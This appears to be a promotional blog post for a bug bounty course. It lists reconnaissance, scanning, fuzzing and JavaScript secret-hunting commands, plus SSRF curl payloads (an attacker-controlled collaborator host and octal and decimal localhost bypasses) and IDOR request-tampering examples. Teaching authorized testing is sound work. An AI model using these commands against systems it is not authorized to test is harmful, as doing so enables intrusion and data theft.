Listen to this Post
Introduction:
The digital landscape is a continuous battleground, where organizations fortify their assets and ethical hackers relentlessly probe for weaknesses. Bug bounty programs have emerged as the definitive proving ground for this skillset, offering a legitimate pathway to both financial reward and professional recognition. Kongsec’s Bug Bounty Training, with its October 4th batch now open, promises a structured methodology to transform aspiring security researchers into successful bounty hunters, as evidenced by student payouts reaching $1,500 and beyond.
Learning Objectives:
- Understand the end-to-end methodology for effective bug bounty hunting, from reconnaissance to report writing.
- Gain practical experience with essential tools and custom scripts used to identify common vulnerabilities.
- Learn how to analyze and replicate real-world vulnerability PoCs (Proofs of Concept) to accelerate learning.
You Should Know:
- Mastering the Art of Reconnaissance with Subdomain Enumeration
Reconnaissance is the critical first step, and subdomain enumeration is its cornerstone. A wide attack surface is key to finding hidden vulnerabilities.
`command.txt`
Using subfinder to find subdomains subfinder -d target.com -o subdomains.txt Using amass for passive and active enumeration amass enum -passive -d target.com -o amass_passive.txt amass enum -active -d target.com -o amass_active.txt Using assetfinder for quick results assetfinder --subs-only target.com > assetfinder.txt Sorting and combining results cat subdomains.txt amass_passive.txt amass_active.txt assetfinder.txt | sort -u > final_subdomains.txt
Step-by-step guide:
This process gathers a comprehensive list of subdomains associated with a target domain. Start with passive tools like `subfinder` and `assetfinder` to avoid direct interaction with the target. Then, use `amass` for more intensive enumeration. Combining and deduplicating the results (sort -u) gives you a solid foundation for the next phase of testing. Always ensure you are authorized to test the target domain.
2. Identifying Live Hosts and HTTP Services
Not all subdomains are active. Filtering for live hosts ensures you focus your efforts on accessible targets.
`command.txt`
Using httpx to probe for live HTTP/HTTPS servers cat final_subdomains.txt | httpx -silent -threads 100 > live_subdomains.txt Using naabu for fast port scanning on common web ports naabu -list final_subdomains.txt -p 80,443,8080,8443 -o naabu_results.txt Combining with httpx to get detailed HTTP responses cat naabu_results.txt | httpx -title -status-code -tech-detect -o detailed_live_hosts.txt
Step-by-step guide:
After enumeration, use `httpx` to quickly check which subdomains respond to HTTP requests. For a more network-oriented approach, `naabu` scans for open ports. The second `httpx` command enriches your data by fetching the page title, HTTP status code, and detected technologies (e.g., WordPress, React, Nginx), which is invaluable for tailoring your attacks.
3. Automating Initial Vulnerability Scanning with Nuclei
Nuclei uses a vast community-powered database of templates to scan for thousands of known vulnerabilities quickly.
`command.txt`
Basic nuclei scan on live hosts nuclei -l live_subdomains.txt -o nuclei_scan_results.txt Scan with specific severity levels nuclei -l live_subdomains.txt -severity critical,high -o nuclei_critical_high.txt Update nuclei templates regularly nuclei -update-templates Using a specific template for a recent vulnerability nuclei -l live_subdomains.txt -t /path/to/cve-template.yaml -o specific_cve_scan.txt
Step-by-step guide:
Nuclei is a powerhouse for bug hunters. Start by running it against your list of live hosts. It’s efficient to first focus on high and critical-severity findings. Always keep your templates updated (nuclei -update-templates) to catch the latest vulnerabilities. While Nuclei automates finding low-hanging fruit, manual analysis is still required for complex bugs.
4. Uncovering Hidden Endpoints with Directory Bruteforcing
Many critical vulnerabilities lie in hidden files and API endpoints not linked from the main application.
`command.txt`
Using ffuf, a fast web fuzzer ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.com/FUZZ -o ffuf_scan.json -of json Recursive scanning for deeper paths ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.com/FUZZ -recursion -recursion-depth 2 Fuzzing for specific file extensions ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.com/FUZZ -e .php,.bak,.txt,.json
Step-by-step guide:
`Ffuf` helps discover hidden resources. The `-w` flag specifies a wordlist. Start with common wordlists like `common.txt` or directory-list-2.3-medium.txt. Use `-recursion` to explore discovered directories further. The `-e` flag adds extensions to each fuzzed word, which is crucial for finding backup files or specific API endpoints. Always review the results for sensitive files like `admin.php` or backup.zip.
5. Analyzing JavaScript for API Secrets and Endpoints
Modern web applications often contain a wealth of information within their client-side JavaScript files, including hardcoded API keys and undiscovered endpoints.
`command.txt`
Using katana to crawl and collect JS files katana -u https://target.com -js-crawl -o js_urls.txt Using subjs to find JavaScript files from a list of URLs cat live_subdomains.txt | subjs > js_files.txt Using gau (GetAllUrls) to get historical URLs, including JS echo "target.com" | gau | grep ".js$" > gau_js.txt Analyzing JS files for secrets with SecretFinder python3 SecretFinder.py -i https://target.com/script.js -o cli
Step-by-step guide:
Collect JavaScript files using crawlers like `katana` or historical tools like gau. Once you have a list of files, use tools like `SecretFinder` or `LinkFinder` to analyze them. Look for keywords like apiKey, bearer, access_token, /api/v1/, and other endpoints. Hardcoded secrets found here can lead to immediate, high-impact vulnerabilities.
6. Testing for Server-Side Request Forgery (SSRF)
SSRF vulnerabilities allow an attacker to induce the server to make requests to internal or external resources, potentially accessing sensitive internal systems.
`command.txt`
Simple curl test for a basic SSRF flaw curl -X POST https://vulnerable-app.com/fetch -d 'url=http://attacker-controlled.burpcollaborator.net' Testing with different URL formats to bypass filters curl -X POST https://vulnerable-app.com/fetch -d 'url=http://127.0.0.1:22' curl -X POST https://vulnerable-app.com/fetch -d 'url=http://0177.0.0.1/admin' Octal curl -X POST https://vulnerable-app.com/fetch -d 'url=http://2130706433/admin' Decimal
Step-by-step guide:
SSRF testing involves submitting URLs that point to internal IPs (e.g., 127.0.0.1, 192.168.0.1) or a Burp Collaborator server. If the application fetches the supplied URL, it indicates a potential SSRF. Test various bypass techniques like using octal IP notation, decimal IPs, or domain redirection services. The impact can range from reading local files to full cloud metadata compromise.
- Exploiting and Mitigating Insecure Direct Object References (IDOR)
IDOR occurs when an application provides direct access to objects based on user-supplied input without proper authorization checks.
`command.txt`
Manipulating an object ID in a URL via curl Original user request curl -H "Cookie: session=user_session" https://app.com/api/user/1234/profile Testing for IDOR by changing the user ID curl -H "Cookie: session=user_session" https://app.com/api/user/5678/profile Testing with a different HTTP method (POST instead of GET) curl -X POST -H "Cookie: session=user_session" -d 'user_id=5678' https://app.com/api/getProfile
Step-by-step guide:
To test for IDOR, log in as one user and attempt to access the data of another by changing an identifier (like a user ID, invoice number, or document ID) in the URL, request parameters, or body. Test all HTTP methods (GET, POST, PUT, DELETE). Mitigation requires implementing proper authorization checks on every access, ensuring the logged-in user has permission to access the specific requested object.
What Undercode Say:
- Methodology Over Tools: The true value of training like Kongsec’s lies not in the tooling, but in the ingrained methodology. Success in bug bounties is 20% tool usage and 80% analytical thinking, understanding application logic, and systematic testing procedures.
- The Power of Community: Lifetime access to a community of practitioners is an invaluable asset. It accelerates learning through shared PoVs, collaboration on complex bugs, and staying updated on the latest techniques beyond what any static course material can provide.
The Kongsec model, as advertised, highlights a critical shift in cybersecurity training: the move from theoretical knowledge to practical, outcome-driven education. The reported student successes (€200 for HTML Injection, $1,500 on Bugcrowd) are not just marketing; they are proof points for a curriculum that emphasizes repeatable processes. The integration of private PoCs and scripts provides a shortcut through the initial steep learning curve that plagues many newcomers. However, the ultimate differentiator is the community support, which creates a sustainable ecosystem for continuous learning and adaptation—a necessity in the rapidly evolving bug bounty space. This approach effectively bridges the gap between knowing about vulnerabilities and knowing how to find them consistently.
Prediction:
The democratization of bug hunting through structured, community-backed training programs will significantly raise the bar for application security. As more researchers adopt methodical approaches, the “low-hanging fruit” will become scarcer, forcing organizations to address more complex architectural flaws. This will lead to a higher overall security posture for participating companies but will also necessitate more advanced defensive strategies. Furthermore, we can expect a rise in AI-assisted reconnaissance and vulnerability discovery, integrated directly into these methodologies, making comprehensive security assessments faster and more accessible, thereby intensifying the continuous cycle of attack and defense.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Kongsec Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
